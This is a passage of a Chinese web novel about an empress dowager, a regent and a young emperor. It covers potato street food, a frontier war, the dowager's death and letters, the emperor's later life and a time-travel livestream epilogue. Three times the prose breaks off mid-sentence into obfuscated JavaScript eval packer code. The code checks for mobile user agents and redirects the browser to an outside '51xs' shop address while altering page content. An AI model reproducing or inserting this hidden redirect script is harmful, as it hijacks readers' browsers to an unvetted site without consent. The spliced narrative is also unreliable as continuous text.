今天的小皇帝穿了一身普通的衣裳,看着就像是一个不谙世事的富家公子,虽然不如龙袍金贵,但也都是难得一见的好料子。 姜令仪也是如此,他们的常服也都是绣娘精心绣出来的,能送进皇宫的料子不可能是什么不好的料子,肉眼可见的奢华。 她身上的首饰不多,胳膊上一个翠绿透亮的镯子,头发上斜斜插着一支发簪,但就这支簪子的价值,就足足能买好几个旺铺了。 再加上后面跟着的不少下人,这一对母子也不敢有人冲撞,两人决定先转一转,然后再去土豆的摊子上。 杨瞻也很少能出宫,他活到现在出宫的次数一只手都能数得过来,对外面的世界也很好奇,所以母子两个一拍即合,决定先四处转转。 可惜还没有逛几家店,就被楚萧抓了个正着。 姜令仪和杨瞻非常默契,动作统一的转身,假装没有看见杵在那里那么大一个人。 “娘,咱们是不是走错方向了,这里好像没看见卖土豆的摊子啊。” 姜令仪很配合的点头:“应该是,没看见在这边。” “嗯嗯,那咱们去另一边看看。” 楚萧面无表情的看着他们两个表演完,然后制止了他们走的更远:“在这边。” 两人齐齐叹气,还以为能溜走继续逛一会儿呢,不过既然他开口了,那必然不可能再从他眼皮子底下溜走了。 逛街计划失败,姜令仪也不是那么遗憾,她不是真的想逛街,只是想体验这样的生活,刚刚这段时间已经足够了,甚至这段时间,她知道楚萧绝对是全程跟着的。 放松了一会儿,那就开始干活儿了。 土豆早就自带名气,摊子一开张,周围的人一听说是土豆,虽说没人买,但是早就把摊子围了个水泄不通,早有维持秩序的士兵在旁边守着了,不然恐怕姜令仪他们根本挤不进去。 “来两份,不,来三份吧。” 姜令仪早就知道价格,递过去了几个铜板,一开始她只打算和杨瞻吃,但是楚萧也在,就给他也买了一份。 “好嘞,贵人稍等。” 摊子的老板是御膳房的一位主厨,他知道面前三人的身份,也格外想表现一下自己,动手格外利落。 土豆身上连挖出来的土都还在,显得格外朴实和新鲜,厨师先用水随意冲了一下土豆,露出了泥土下偏黄的皮,然后削皮切块,放到油锅里去炸,最后在撒上秘制调料,一份外酥里嫩的炸土豆就做好了。 “您的土豆。” 一人一份儿,他们三个端起来就毫不犹豫的放到了嘴里,这样的小吃和在宫里吃的土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545832|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆宴那样精心烹调的美食不太一样,但也是别有一番风味的好吃。 终于有人忍不住问:“这土豆不是有毒的吗?” 姜令仪咽下嘴里的土豆,目光平静的看向众人:“土豆有毒?这么说也没错,但是只有土豆发芽之后才是有毒的,就跟食物放久了会坏是一个道理,只要在土豆没发芽之前吃掉,就完全没有关系。” 再多的质疑都比上亲眼看见,有人带了头,围观的百姓也不怕了,这东西一份儿也不贵,他们都能拿出这两文钱来尝尝鲜。 姜令仪他们离开以后,有等自己那份土豆的人就忍不住八卦起来,“老板,这几位贵人是谁啊,他们是专程来你这里吃土豆?” 厨师只乐呵呵的忙活着卖自己的土豆,其他只说一概不知。 混在人群里的早就安排好的人,现在开始大声炫耀:“我见过他们,年纪小点的是皇上,旁边的是太后娘娘和摄政王,我之前见过他们。“ 这话一出,旁边顿时热闹了起来。 “对,好像就是摄政王他们,我之前见过的,刚刚我就觉得眼熟你一说我就想起来了。” “是啊是啊,你这么一说我也有印象。” “那既然皇上他们都吃土豆,是不是咱们就不用害怕它有毒了?” “那当然了,太后娘娘不是说了吗,只有发芽了才会有毒,你会不在它发芽之前就吃完吗?” “就是,土地神给娘娘托梦的时候肯定把这些都告诉娘娘了,她这么说肯定是对的。” “没错。” 没有一个人反对。 姜令仪其实还是不太知道皇上这两个字在这个时代的含金量,国家最尊贵的三个人亲自吃了土豆,他们就对土豆有毒这种说法嗤之以鼻了,就算真的有人吃了土豆中毒,他们也只会认为这人是不想浪费粮食偷偷吃了发芽的土豆。 这可是皇上、太后和摄政王吃了都说好的食物啊,那些不爱吃的人都是没福气。 也不能说这些人愚昧,主要是经过几千年的皇权洗脑,他们一直认为,世界上所有的东西都是属于皇帝的,那些贵族皇室对于普通皇帝来讲,不亚于是天上的神仙。 现在他们发现神仙也不只是喝露水吃鲜花的,他们也吃自己能吃到的饭菜,他们能不激动吗? 流言的事情很快就过去了,现在再有人说土豆有毒,恐怕会被众人群殴了,这么高产又饱腹的粮食,稍微有点瑕疵怎么了,又不是没有解决办法,说这种话的人就应该让他饿个三五天的,再给他一个发芽的土豆,看他吃不吃。 人在饥饿的时候是没有理智的,别说拉肚子了,就算明知道会被毒死也可能忍不住会吃,饱死鬼总比饿死鬼强。 有了土豆,百姓们很快就摆脱了被活活饿死的日子,现在地广人稀,只要不是什么懒人,一家子伺候着几亩地,虽然不能大富大贵,但是解决自己的温饱还是没问题的。 而且随着土豆的传播,姜令仪这个发现土豆的人得到了百姓们发自内心的尊重,还有不少在家里给她立了长生牌位,而且也正如杨瞻预想的那样,因为他是姜令仪的儿子,百姓们对他爱屋及乌,提起现在的皇帝也只有夸的份儿。 一切都在往好的方向发展,但是唯一让杨瞻不满的,就是这两年来姜令仪和楚萧之间半点进展都没有,甚至两人还会特意避开见面的机会,让杨瞻这个旁观者都看的着急,恨不得直接把两个人抓到一个房间里,逼着他们互诉衷情。 真正的皇帝不急太监急。 109. 第 109 章 109 大人们的想法杨瞻还是无法完全理解的,但是随着年岁渐长,他也能逐渐能咂摸出一些味道了,然后就是后悔。 杨瞻第三百七十二次后悔,为什么当初不直接让姜令仪假死出宫呢? 在楚萧逼先帝退位的时间,直接让姜令仪借着病重出宫休养,然后顺理成章的假死多好啊,也不至于现在这样见个面也要遮遮掩掩的。 冷静下来之后,杨瞻也知道自己的想法多少有点天真了,不说当时他们没人知道这俩人会有感情,假死也不是那么好操作的,而且楚萧和姜令仪的婚约可是有不少人知道的,日后姜令仪再出现,稍一联想就知道发生了什么。 不等杨瞻想出办法,就收到了边关的八百里加急信件。 突厥蠢蠢欲动。 自从把匈奴投降之后,突厥已经安分很长时间了,但是楚萧已经将近三年没有出现在战场上,他们对楚萧的畏惧也已经逐渐减退,甚至觉得他已经软倒在了温柔乡,不再是让人望而生畏的战神将军了。 而且还有吴国在暗戳戳拱火,许多事情里都有他们的手笔,看来这次要面对的不止是骁勇善战的突厥人,还有暗地里搞事情的吴国。 早朝的时候,这件事情自然也被拿出来讨论,杨瞻问:“诸位爱卿可有推荐的主将人选?” 底下的大臣面面相觑。 武将不是没有,但是能同时对抗吴国和突厥的将领却是没有,唯一可能的,众人都把目光看向了前面的摄政王。 就是不知道,他能不能同意带兵前去边关。 众人摸不清他们的想法。 要是他们在这个位置上,有这一人之下万人之上的地位和权利,谁会想再去战场上呢?那可是真的会死人的。 下一秒,楚萧就站了出来。 “本王请战。” 楚萧和杨瞻心里都知道,如果真的打起来,恐怕也只有他才能镇得住局面,晋国一向是文强武弱,虽然楚萧一直在培养武将,但是能撑起场面来的还不多,不过这次也是一个好机会,可以让年轻人练练手。 只是他恐怕忘了,自己也不过是一个二十多岁的年轻人。 摄政王即将带兵出征的消息传开之后,正在绣花的姜令仪脑子空白了一下,下一刻,绣花针就扎进了手指,疼了一下,她用指尖捏了捏,就没再管了。 倒是旁边的宫女看到之后吓了一跳,连忙拿出了药给她抹上,绣花针本来就细,这样一个小口子都没流两滴血,姜令仪觉得她太过紧张了,但是也没有拒绝上药,哪怕是为了让他们安心,她也不该拒绝的。 “摄政王进宫了吗?” “下朝之后摄政王就和皇上去了御书房,现在还没有出来。” 姜令仪把绣绷放到一边,这刺绣她学了半年多了,也只能勉勉强强绣出个竹子,她摸了摸刚刚绣好的花样,对着自己的大宫女说:“去外面看看,摄政王出来之后请他过来一趟。” “是。” 其实宫里的人隐隐约约都知道姜令仪和楚萧之间有点不同寻常,但是他们两个不怎么见面,而且两个人都教杨瞻,有时候也会交流一下当老师的心得,宫里的奴才们不管心里这么想,全部统一说的都是他们两个在一起都是在讨论如何教皇上的问题,在宫中,嘴不严是活不长的。 所以姜令仪再一次挥退众人和楚萧单独谈话的时候,没有人质疑她的命令,全都乖乖出去了,并且还有专门的人在外面望风。 原本是有正事要说,但被他们这样一弄,好像显得还真是有什么奸情一样。 好像偷情。 姜令仪赶紧把这样奇怪的想法甩出脑海里。 “二哥......” 姜令仪知道自己应该说点什么,可以让他保重身体,可以聊点杨瞻最近的学习情况,但是她一点儿也不想开口说这些。 楚萧疑惑的看向她,仿佛在问怎么不说了? 姜令仪冷不丁的问他:“二哥现在还只当我是妹妹吗?” 这话太突然了,楚萧丝毫没有准备,他以为他们两个之间是有默契的,有些事情他打算一辈子放在心里不说出来的,但是没想到直接被她问了出来。 他当然不止是想和她当兄妹。 但是这话楚萧说不出来,他摇了摇头。 姜令仪就默认这是不想了。 “那等你回来,我们就开始一段新的关系。” 至于什么关系,她没说,两个人心里都有数。 她一开始没打算这么早就说的,比起确定的关系,其实暧昧时期的拉扯更动人心弦。 不过上战场之后生死无常,姜令仪想着还是直接摊牌算了,她不畏惧人言,日子是自己过的,不是给别人看的,她出宫之后运作一番,只要没人能抓住把柄,她就能安然无事,时间一长,也就没人在意这件事了。 打定主意,她也就直接说出来了。 这个消息让楚萧一直恍惚了许久,出宫之后才算镇定了下来,一低头,发现自己手里还拿着一个荷包,上面是乱成一团的图案。 他想起来了,好像是姜令仪说这是她第一次完成的绣品,递过来之后他就拿在手里了。 不过看起来是真的没什么刺绣的天赋了。 楚萧把丑兮兮的荷包握紧,脚步轻快的回府了。 楚萧从来不喜欢京城,这里的锦绣繁华也没有入过他的眼,去边关本就是他给自己定好的归途,等杨瞻可以独当一面之后,他总是要回去的,如今不过是提前了而已。 但是他现在好像又没有那么期待回去了,心里有了更重要更快乐的事情,他只想尽快结束战争,回来继续一段新的关系。 但是这次的突厥来势汹汹,楚萧想速战速决的想法怕是不成了。 又是一场激战,林嘉和楚萧一起分析现在的战况,复盘了一下这场仗。 林嘉点了点路线图上其中一点,“怕是吴国开始插手了。” 打仗的时候可能还注意不到,但是现在回想起来,突厥人身形高大骁勇善战,和吴国人还是能很容易区分出来的。 对战的时候,对方有不少看起来不像是突厥人的士兵,那些应该就是混进去的吴国人了。 楚萧点头:“是吴国人插手了。” 他把手里的密信递给了林嘉,这是在吴国的密探送来的,除了这个,信上还提了一句一个钱庄的管事因为雇人刺杀皇帝,这个钱庄被查抄了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555558|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚萧和林嘉也都没有太在意,因为这很可能是吴国皇帝敛财的新手段,听说那个钱庄富可敌国,喜好享乐的皇帝眼馋也不是什么奇事儿。 他们关注的重点在于,吴国既然加入了这场战场,那短时间内肯定打不完这场仗了。 林嘉叹了一口气:“看来吴国还不全是没脑子的蠢蛋的。” 如果现在吴国明哲保身,坐在一旁看晋国和突厥打起来才是愚蠢,突厥明显是若于晋国的,这几年他们囤了不少粮食,又有楚萧带兵,打败突厥只是时间问题而已。 等打败了突厥人,那下一个要收拾的肯定就是吴国了。 每个将军心里都有统一山河的抱负,楚萧绝对不会停下征伐的脚步,吴国也不会认为楚萧会放过他们,所以这场战争,他们也暗戳戳的插手了。 “不过问题不大。”林嘉云淡风轻的说:“就是需要耗一段时间了。” 吴国没有什么出色的将领,就算他们加入了也不过是螳臂当车,所以一下子对上他们也没什么压力。 楚萧同样没有太在意,点头表示认同。 林嘉调侃道:“就是这样的话,恐怕你就不能早早回去了。” 他作为离楚萧最近的人,也是最熟悉他打仗风格的军师,所以林嘉也是最能感觉出来这次楚萧的急切,再结合宫里的人,他还有什么不明白的呢? 楚萧没有理会他的调侃,自顾自做他自己的事情。 林嘉可不愿意放过他这样难得一遇的把柄,建议道:“反正刚刚打完了一场,一时半会儿的也不会再继续了,不如回去看看?” “不用了。”楚萧果断拒绝。 虽然按照常理来说是这样的,但是谁也不敢保证突厥和吴国会不会再攻过来,楚萧不敢赌那万分之一的可能性。 “等打下突厥我再回去。” 他说的很有底气,又带着些理所当然。 不过他是楚萧啊,他有这样的傲气,同样也有与之相匹配的能力。 边关的消息同样也牵动着京城不少人的心,姜令仪就是其中一个,她相信楚萧可以打胜仗,但是也会担忧他会不会受伤。 在战场上刀剑无眼,从来不会说主将就不受伤了,甚至因为是主将,所以针对的人才更多。 姜令仪也做不了别的,她不信佛,但还是在寺庙里捐了不少香油钱,就当做是给自己的心理安慰了。 除此之外,她还在源源不断的往边关送东西,这几年她赚了不少钱,完全能负担得起这些花费。 杨瞻仿佛天生就能玩弄人心,在朝堂上的时候,他和在姜令仪面前完全就是两个人,他已经越来越接近于一个优秀的领导者了。 在楚萧的教育下,在姜令仪的影响下,经历了许多不好的事情,但是杨瞻依旧强大自信,温和从容,处理政事乾纲独断,游刃有余。 一切仿佛都在往好的方向发展,直到姜令仪毫无预兆的病倒了。 很快,她就躺在床上起不了身了。 姜令仪能感受到生命的流逝,到最后她只是有些遗憾,遗憾于不能再见那人最后一面。 等楚萧大获全胜全军沸腾的时候,京城也已经人人穿上了缟素。 太后,崩了。 110. 第 110 章 110 楚萧一直以为这只是一个谎言,是姜令仪和杨瞻联手做出来假死的局。 在听到消息的时候他是这么想的,在快马加鞭赶回来的路上他是这么想的,甚至在杨瞻看到他之后扑上来嚎啕大哭的时候,他想的是,这小子演技还挺厉害的。 直到杨瞻递给了他厚厚的一沓信。 “王叔,这是母后留给你的。” 姜令仪的病来势汹汹,在她察觉到自己的生机在一点点流逝的时候,就着手准备遗言了。 她拒绝了太医卧床休养的建议,只要清醒着,就一直在写东西,说起来可悲,到生命的尽头,她才发现能让她留下遗言的人都没几个,数来数去也就一个杨瞻,一个楚萧。 写给杨瞻的信,大多都是鼓励和期盼,以及她浅薄的一些育儿经验,她怕自己走后,小小年纪就登上高位的孩子会失去本心,心里多是对他未来的挂怀。 杨瞻当皇帝已经当的有模有样的了,喜怒不形于色已经跟楚萧学到了精髓,在姜令仪交代后事,到她阖上眼睛,然后处理她的后事,杨瞻都是一副沉稳可靠的模样,也让不少人嘀咕他并没有表现出来的那么重感情。 只有小福子知道,从姜令仪病重开始,杨瞻就没有睡过一个好觉,在处理完姜令仪后事之后,他独自一人在屋子里看完了所有的信,然后嚎啕大哭,声音大到屋子外面守着的小福子都能听到。 被他的痛苦感染,小福子也在外面小声呜咽了一个晚上,第二天主仆两个的眼睛都肿成了个核桃。 本来杨瞻觉得自己的心情已经平复的差不多了,但是一见到楚萧,说出来的话就带了点哽咽:“王叔……” 他把信递了过去。 楚萧神色如常的接过了信,他脸上没有半分波动,转头就回府去了。 他迫不及待的想知道里面的内容,哪怕是她戏弄人的一个恶作剧,他也愿意接受。 但是当他看到信的第一行字,手就不由自主的颤抖了起来。 “二哥,当你看到这封信的时候,我恐怕已经不在这个世界了。” 楚萧捏着信的手上青筋暴起,险些直接把信揉碎,不过想到这是姜令仪最后留下的东西,他努力控制着自己的情绪,把信放到了一边。 有时候楚萧会不由自主的想,是不是他真的是一个祸害,所有他身边的人都没什么好下场,一个一个倒下的战友,父母亲人好友,现在,终于到了最后一个了吗? 等平复好心情,楚萧还是拿了信来看,信里的内容太过匪夷所思,楚萧原本乱七八糟的念头也都不见了,他所有的心神都被信里的内容牵引住了。 “二哥,我从来没有跟你说起过,其实我来自另外一个世界,和这里真的是截然不同。” 从她寥寥几张纸中,楚萧恍惚看到了一个全新的世界,那里没有尊卑皇权,是一个自由和平的年代,她没有父母,也被照顾的很好,从小到大都能上学,还比很多同龄人都要厉害。 楚萧好像看到了一个背着书包的小姑娘,每天迎着朝阳,蹦蹦跳跳的去学校。 “二哥,这个世界排斥我的灵魂,所以我没办法留下来了,不过我只是去了另外一个世界,我们都不要太伤心,这是没办法的事情,就是我们的承诺可能实现不了了。” “偷偷告诉你,我知道你喜欢我,二哥,我也喜欢你啊,如果我回去了以前的世界,我一定会为自己的事业而努力,二哥也要努力啊,争取做前无古人,后无来者最厉害的将军,然后好好教导谦儿,让他也当一个好皇帝。” “总之,我们都要努力啊。” 不得不说,这封信很好的抚平了楚萧心里的焦躁不安,至少她有一个去处,在这里去世不代表真的就是死了,她只是回了自己的世界。 楚萧轻轻把信纸抚平,这样也好,就算不能见面,只要知道她还在就好。 但还是有点遗憾。 楚萧将花瓣一片一片摘了下来,直到最后一朵,他迟迟没有下手,怕唐突了佳人,也怕惊醒了这个美梦。 最后,他俯身下去。 在两个人的唇即将碰上的那一刻,原本睡着的人睁开了眼睛,“二哥,你是想偷偷吻我吗?” 楚萧豁然睁开了眼。 这是他的梦。 是有了一些变动的梦。 在真实的过去,楚萧最终没有拿下最后那一片花瓣,姜令仪也没有睁开眼睛。 楚萧被她的问题直接吓的半夜惊醒,然后就再也睡不着了。 在梦里,她问他是不是想吻她,是的,楚萧很确定,当时自己确实是有这样的想法的。 但是因为种种不可说的原因,他克制住了心中的欲望和冲动,也换来了每想起时一次次的后悔。 为什么当初不干脆一点,直接吻下去呢? 反正已经睡不着了,楚萧索性披上外衣推开了窗户,坐在窗边赏起了月亮。 看到形似圆盘的月亮,楚萧才恍然发觉,已经十五了啊,她离开也有一个月了,也不知道她是不是回到了自己的家乡,有没有重新开始自己喜欢的工作,她那里的月亮,有没有现在他看到的这样亮,这样圆。 日子一天天过去,时间总是会抚平所有的伤痛,京城中渐渐恢复了以往的热闹,楚萧也不再执着于回到边关了,他把更多的精力投入到了朝堂中,这也让许多保皇党心生担忧。 杨瞻是最能稳得住的。 虽然他不知道那些大臣们在担心什么,要担心不也应该是自己担心吗?毕竟这皇位是在他屁股底下坐着的,他自己还没说啥呢,这一帮人就已经替他担心上了。 他大笔一挥,给楚萧写了一封信,让暗卫给送到摄政王府去。 这暗卫还是楚萧送来的,要是让那些大臣知道了,不得整日整夜的睡不着觉? 暗卫当作没看见信封上明晃晃的“父王亲启”四个大字,他只当只是一个瞎子聋子,安安心心的完成主子的差事就可以了。 自从姜令仪走后,原本毫无关系,甚至还有点儿上一辈儿仇恨在的两个人感情迅速升温,毕竟姜令仪和两个人都有关系。 杨瞻把楚萧当成了他娘的未婚夫婿,慢慢的当成自己的长辈,最后甚至代替了自己心中父亲的位置,他在给批判摄政王的折子里回复过,“自古以来以孝治天下,爱卿说朕父亲的不是,又该让朕如何呢?” 在私下里,他也慢慢把“王叔”改成了“父王”,楚萧一开始拒绝,到现在也默认了。 他一开始只是把杨瞻当成是一个干活的皇帝,因为姜令仪的缘故,他也会照看几分,但是不得不说,这个孩子是很讨人喜欢的,他聪明,有仁爱之心,也有治世之能,对他认可的人更是抱有真挚热烈的感情,楚萧承认,他被打动了,所以才会允许他许多无伤大雅的冒犯。 比如大晚上的让暗卫送一堆废话来。 楚萧看完他信里写的一堆流水账,折起来扔进火盆里烧掉。 他知道这是杨瞻在用他的方式安慰自己,因为在前不久,他的挚友,那个智谋无双的林嘉去世了。 这本不是什么难以预料的事情,因为林嘉的身体一直不怎么好,而且他还不听医嘱,整日里酒水不断,能活到现在都已经是一个奇迹了。 林嘉早已心存死志,在他为妻儿报完仇之后,楚萧就已经做好了这人随时离开的准备,所以,他也没什么不能接受的。 摄政王从来都是喜怒不形于色的代表,说真的,就连杨瞻也很难看到他有什么情绪波动,要不是姜令仪当初让他看清了这人确实不是什么铁石心肠的人,他现在照样会很怵他的。 但是也因为慢慢了解他,杨瞻自然也清楚他是一个极为重情的人,所以不管是姜令仪还是林嘉,他们走了之后楚萧都表现的非常平静,杨瞻却能感受到他的痛苦。 比如现在,他就知道楚萧绝对是整晚整晚的睡不着觉,他说着自己可以接受是一回事,感情上能不能接受就是另一回事了。 姜令仪刚走的时候也是这样,楚萧看着跟没事人一样,但是在某一天,杨瞻突然接到了他晕倒的消息,一把脉,好家伙,这生生是累晕的。 从那以后,杨瞻就时不时的让暗卫去送封信,顺便打听打听他有没有睡觉,他自己有时候也会来王府突然袭击,看看楚萧在做什么。 王府对他从来是不设限制的,所以杨瞻来这里跟来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575430|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己家一样,他至今忘不了偶然一次看到楚萧的情态。 就他那三脚猫的功夫,按理说他一踏入院子的时候楚萧就应该发现了,只是那天不知道是他运气好,还是楚萧太久没睡觉精神恍惚没发现他。 杨瞻一进门,就看到桌子前面是楚家的族谱,这个他见过,他还知道楚萧旁边写着“娶姜氏令仪,无子女。” 这本族谱不伦不类,更像是一个记账本。 旁边那个荷包他也知道,当时姜令仪绣花的时候他也想要一个,她说第一个绣的是鸳鸯练练手,等技艺娴熟之后给他绣一个可爱的食铁兽,可惜他终究是没有等到,她唯一留下的绣品,只有这个一团乱看不清图案的鸳鸯荷包。 楚萧还是没有动作,他想着自己是不是应该搞出一点动静,让他知道自己来了。 但还没来得及动作,就听到楚萧的一声长长的叹息,他低着头,脸掩映在阴影里,杨瞻看不清他的表情,但他一直坚定的认为,他心里曾经那个无坚不摧的大将军,在这个时刻,露出了脆弱的那一面,他落泪了。 尽管楚萧抬头的时候脸上干干净净,眼睛更是清亮有神,但是杨瞻始终相信自己的直觉。 后来,在楚萧感觉自己身上病痛越来越明显的时候,他选择回到凉州,回去那个他从小生活的地方,带着姜令仪的骨灰一起。 楚萧来跟杨瞻道别。 “叶落归根,我要回去了。” 现在的杨瞻已不可同日而语了,他再也不是那个不被群臣放在眼里的小皇帝了,如今他大权在握,乾纲独断,但是面对楚萧的告别,他还是忍不住想挽留。 不过他知道自己的挽留不可能成功,杨瞻摘下冕冠,恭恭敬敬伏地叩首:“父亲,您和母亲保重。” 他看见楚萧很轻的笑了一下,“好。” “谦儿。”楚萧喊了他的表字,“你娘会在另一个世界过得很开心,你也要努力,把晋国建立成一个富足和平的国家。” 这是他唯一一次见到楚萧的笑容。 这是他最后一次见到楚萧了,等再听到他的消息,就是暗卫的报丧了。 杨瞻连夜去了摄政王府的祠堂,把姜令仪和楚萧二人的排位供奉上,点了三炷香,拜了拜,又跟他们说了会儿话。 “爹,娘,也不知道你们能不能看见,我现在这皇帝做的还算顺手,也不知道现在有没有达到你们的期盼,就是我身体也不是太好,说不定很快就能去找你们了,还有,我打算从皇室旁支挑一个孩子当继承人,现在已经差不多有人选了,那孩子也挺聪明的,比我就差一点点……” 说累了之后,他又看到了供桌旁边的族谱,有些怀念的拿起来翻看了一会儿,翻到最后一页,眼泪却怎么也止不住的留下来。 —— 博物馆里,被尊为千古一帝的晋文帝杨瞻的相关展览开始,整个展厅被围的水泄不通,许多年轻人对这个苏到极致的皇帝非常感兴趣。 他雄才伟略,在位期间进行了许多利国利民的改革,亲手提拔了一大批文臣武将,可以这么说,他儿子晋武帝时期的中流砥柱都是晋文帝的脑残粉,最大的粉头就是晋武帝本人,甚至他本人和武沾不上一点儿边儿,就为了和他爹的庙号看起来更搭,硬是在死前就留下遗诏,他就是要这个名字。 十二岁登基,三十二岁驾崩,在位短短二十年,他却能成为后世史学家口中最完美的皇帝,为他写诗作赋的诗人更是数不胜数,不信邪的网友们就是想来看看,这个皇帝到底是有多完美,才能被这么多人追捧。 然后经过许多博主的介绍,越来越多的人被他吸引,晋文帝展厅里还有了许多热门打卡点。 与其他人格格不入的,是站在一本书面前一对年轻人,他们没有挤着去那些网红打卡点,而是在这本书面前驻足许久。 书上乱糟糟的许多划痕,如果有认识那时候文字的,仔细看就能认出来,这是晋文帝时期显赫一时的摄政王家的族谱。 第三代,楚萧,娶姜氏令仪,无子女(划掉),有一子,楚怀谦。 “二哥?” “嗯。” “我们走吧。” “好。” 111. 第 111 章 番外 今天是2042年,在直播行业几乎已经稳定下来掀不起什么浪花的时候,花花集团宣布自己实现了跨越时空的直播技术。 一片沸腾。 李明作为直播界的头部主播被邀请参加内测,应该没有哪个人能拒绝这样见证历史诞生的名场面,他当然答应了。 工作人员问:“李明老师,您想要去哪个历史节点参观呢?” 李明:“晋文帝登基后的第五年。” 熟知历史的人都知道,这一年是晋文帝杨瞻的打造朝廷一言堂的开端,他几乎杀光了三品以上不干实事欺压百姓的官员,真正在朝堂上亮出了自己的第一把剑,宣告着来到了属于他的时代。 至于为什么没有留下残暴的名声,首先三品以上的京官人数就在那里的,其次摄政王已经清理过一波了,和他杀的人比起来,晋文帝这都是小儿科。 对了,除了想看看偶像晋文帝,李明还存着见见男神摄政王的想法。 工作人员调试好了机器,问一旁不知道神游在哪里的李明:“李明老师,可以开始了吗?” “哦哦,可以了。” 一阵“滋啦”声响起,李明就觉得自己头重脚轻的有点站不稳了,多亏了旁边的人扶了自己一把,才避免了被摔倒的狼狈。 李明赶忙道谢:“多谢大哥。” “没事儿。”扶了人的大哥摆手:“这里人太多了,难免挤着碰着,自己小心一点儿啊。” “好,多谢大哥提醒。”李明环顾了一下周围,有些奇怪,“这是在干嘛呢,怎么这么多人?” 那位大哥更奇怪的看着他,像是看着什么不知道从哪里跑出来的野人。 李明被他的目光看得心肝乱颤,迅速扫视了自己一遍,身上是按照古书做出来的符合时代的衣服,也没有任何超时代的科技,他又放下了心。 其实在他不知道的角落里,直播开关早就已经开启了,除了一开始的茫然,观众们早就开始刷屏聊天了。 【哈哈哈,你看那人看主播像不像是在看傻子啊?】 【没错,主播还以为自己穿的有什么问题,不,人家是以为他脑子有问题吧?】 【可能还是下意识心虚吧,毕竟不是这个时代的人,被审视的话肯定会心里发虚。】 【按理说晋朝是有宵禁的,现在的天色已经不早了,不可能这么多人聚集在这里,除非是有盛大的活动,免了今天的宵禁。】 这也是李明疑惑的点,他对晋朝的历史不算陌生,所以知道他们严格的宵禁制度,那为什么还会有现在这样的情况发生呢? 那位大哥给他解开了疑惑:“天子下旨在这里举办美食品鉴会,所有人领了牌子都可以投给自己喜欢的摊位,最后评选出京城特色美食排行榜,据说今晚天子还会亲临投票呢。” 这大哥说完就走了,他还得排队领号码牌呢,留下李明和观众风中凌乱,这什么美食品鉴会不是现代的套路吗,原来他们的老祖宗们这么潮流的吗? 观众们听到天子亲临就激动起来了,一个劲儿的在评论区@主播,想要让他注意到自己的留言。 【我要见晋文帝我要见晋文帝我要见晋文帝我要见晋文帝@李明】 【主播,赶紧动起来啊,想想晋文帝喜欢吃什么东西,赶紧往摊位上挤啊@李明】 【那必然是开水白菜,据说这是晋文帝起居注里亲自认证的。】 【傻了吧,外面这些小摊位上怎么可能有开水白菜?】 【而且晋文帝也就只是说了句‘尚可’而已,哪里就是他最喜欢的食物了?】 【怎么回事?主播好像看不到我们的留言。】 公屏上飘来一行硕大的鲜红字体:【为保证最小限度的不影响历史,主播和观众不能互动。】 也就是说,他们这些人只能通过主播的眼睛去探寻历史的一抹真相,而不能亲身参与其中,不少人扼腕,但也都理解,如果真的都去随意改变历史了,那不就乱了套了? 虽然看不见观众老爷们强烈的意愿,李明自己就先找号码牌准备排队去了,那可是晋文帝啊,要是能见他一面,那这一生基本上就无憾了。 只是刚拿到号码牌的李明还没有高兴过三秒,就浑身僵硬的站在那儿不动了,老天爷,老天奶,他刚刚是不是忘了自己身无分文但是吃饭是要花钱的啊,这可咋整? 在现代的时候可能会因为想要流量让大家免费品尝,但是这种小摊位上肯定是不可能的,他们靠这个养家糊口的。 没关系,李明很快恢复了镇定,他想到怎么品尝这些美食的方法了。 【哈哈哈哈哈哈,这就是主播想到的办法吗?】 【真的绝了,他都不会尴尬的吗?】 【一看就是新粉了,小明的脸皮可是超乎你们想象的厚,如果晋文帝在他面前,他肯定会痛哭流涕的求一个签名。】 【快看快看,名场面又来了。】 李明结合自己的生活经验,把目标瞄准了前面那个一看就超了标准体重的小胖子,他正拿着一大包炸鸡猛猛炫呢。 而且旁边就跟着一个小厮,正不错眼的盯着这个小胖子吃东西,时不时的再给他喂口水。 李明咽了咽口水,迎着小厮警惕的眼神走过去,“小胖……小少爷,你这炸鸡和城北的炸鸡比起来哪个更好吃?” 小少爷没有听出他可疑的停顿,天真无邪的看着他:“我只吃过这里的炸鸡,不知道你说的城北炸鸡是什么味道。” “诶,那真是可惜了。”李明摇摇头,遗憾道:“我本来还想看看这两家哪个好吃然后告诉邻居呢。” 小胖子没有怀疑,高高的举起了手里的炸鸡,“那你尝尝看,到底是哪个比较好吃。” 李明一边说着这多不好意思一边快准狠的捏起来一块炸鸡放进了嘴里,然后就差点被香哭了。 